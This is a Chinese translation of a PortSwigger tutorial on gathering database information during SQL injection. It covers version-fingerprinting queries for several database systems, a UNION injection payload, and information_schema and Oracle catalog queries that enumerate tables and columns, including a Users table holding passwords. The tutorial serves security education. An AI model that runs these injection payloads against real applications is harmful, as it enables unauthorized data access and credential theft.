检查SQL注入攻击中的数据库
2021/9/26 19:13:19
本文主要是介绍检查SQL注入攻击中的数据库,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
本文翻译自:https://portswigger.net/web-security/sql-injection/examining-the-database
在利用 SQL 注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库的内容,它包含的表和列。
查询数据库类型和版本
不同的数据库提供不同的查询版本的方式。您通常需要尝试不同的查询才能找到有效的查询,从而能够同时确定数据库软件的类型和版本。
确定某些热门数据库类型的数据库版本的查询如下:
DBS | 查询语句 |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
举个栗子,可以使用联合查询:
' UNION SELECT @@version--
这可能会返回以下输出,确认数据库是微软 SQL 服务器,以及正在使用的版本:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64) Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
实验
:SQL注入攻击,查询Oracle上的数据库类型和版本
实验
:SQL注入攻击,查询MySQL和微软上的数据库类型和版本
列出数据库中的内容
大多数数据库类型(除了Oracle之外)都有一组称为 information schema
的视图,这些视图提供关于数据库的信息。
您可以通过查询以列出数据库中的表:information_schema.tables
SELECT * FROM information_schema.tables
返回信息如下:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ===================================================== MyDatabase dbo Products BASE TABLE MyDatabase dbo Users BASE TABLE MyDatabase dbo Feedback BASE TABLE
该输出表明有三个表,分别为 Products
、Users
和 Feedback
。
然后,您可以查询 information_schema.columns
以列出各个表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
返回信息如下:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================================= MyDatabase dbo Users UserId int MyDatabase dbo Users Username varchar MyDatabase dbo Users Password varchar
此输出显示指定表中的列以及每列的数据类型。
实验
:SQL注入攻击,列出非Oracle数据库中的数据库内容
Oracle上的 “information schema”
在Oracle上,您可以通过稍微不同的查询获得相同的信息。
您可以通过查询 all_tables
来列出表名:
SELECT * FROM all_tables
您可以通过查询 all_tab_columns
来列出列名:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
实验
:SQL注入攻击,列出Oracle上的数据库内容
这篇关于检查SQL注入攻击中的数据库的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-24怎么修改Kafka的JVM参数?-icode9专业技术文章分享
- 2024-12-23线下车企门店如何实现线上线下融合?
- 2024-12-23鸿蒙Next ArkTS编程规范总结
- 2024-12-23物流团队冬至高效运转,哪款办公软件可助力风险评估?
- 2024-12-23优化库存,提升效率:医药企业如何借助看板软件实现仓库智能化
- 2024-12-23项目管理零负担!轻量化看板工具如何助力团队协作
- 2024-12-23电商活动复盘,为何是团队成长的核心环节?
- 2024-12-23鸿蒙Next ArkTS高性能编程实战
- 2024-12-23数据驱动:电商复盘从基础到进阶!
- 2024-12-23从数据到客户:跨境电商如何通过销售跟踪工具提升营销精准度?